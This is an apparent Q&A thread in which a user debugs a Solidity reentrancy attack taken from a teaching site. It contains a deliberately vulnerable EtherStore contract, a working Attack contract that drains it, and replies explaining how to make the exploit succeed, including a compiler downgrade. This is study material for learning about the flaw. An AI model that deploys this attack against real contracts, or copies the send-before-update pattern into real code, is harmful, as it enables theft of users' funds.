0

I'm trying to execute the reentrancy attack from [this website][1]; all functions work except function attack().

  • compiler 0.8.10
  • EtherStore funded with Ether
  • sending 1 Ether by executing attack()

--> I always get the same error:

The transaction has been reverted to the initial state. Note: The called function should be payable if you send value and the value you send should be less than your current balance. Debug the transaction to get more information.

Unfortunately I didn't reach the developer; I checked every single line in attack() and withdraw()(which btw works) but I have no clue where the issue is here...

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;


contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

[![solidity re-entrancy attack][2]][2]


  [1]: https://solidity-by-example.org/hacks/re-entrancy/
  [2]: https://i.sstatic.net/Nls34.png
0

2 Answers 2

1

Just checked those contracts and they work as expected. You've probably forgot to add >1 ETH to the the attack() call.

5
  • this is strange; I put VALUE 1 Ether (as attack() requires >= 1 ether) and execute "attack"... still the same, I'm clueless...
    – Joe W.
    Commented Jan 31, 2022 at 21:59
  • Can you confirm that if you change the require() statement to have an error like require(msg.value >= 1 ether, "Send more ETH!"), that it doesn't revert with that error when you call it? Commented Jan 31, 2022 at 22:27
  • This contract is a known good. Please make sure you haven't alter it in any way, that the attack contract has the correct address for the ether store and that you're sending the eth with the attack transaction. You're probably going to facepalm yourself when you find out the issue. Commented Jan 31, 2022 at 22:42
  • 1
    "that the attack contract has the correct address for the ether store" * facepalm * - thank you @Stanislav Svědiroh!
    – Joe W.
    Commented Feb 1, 2022 at 11:30
  • Glad I could help, those situations happen every day! Keep going, you're on the right path. Commented Feb 1, 2022 at 11:44
0

So I encountered this error while trying the reentrancy attack in foundry. From the stack trace in foundry the transaction reverts to transaction failed but when I changed the solidity version to pragma solidity 0.6.10, the exploit was successfully executed. While running the code with version 0.8.0in remix its fails and while tracing the opcodes, execution stops at the opcode DIV, I do not know exactly why. To successfully run this code in version 0.8.0, you have to wrap your codes unchecked. Everything will work fine. I do not exactly know why it's like that

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.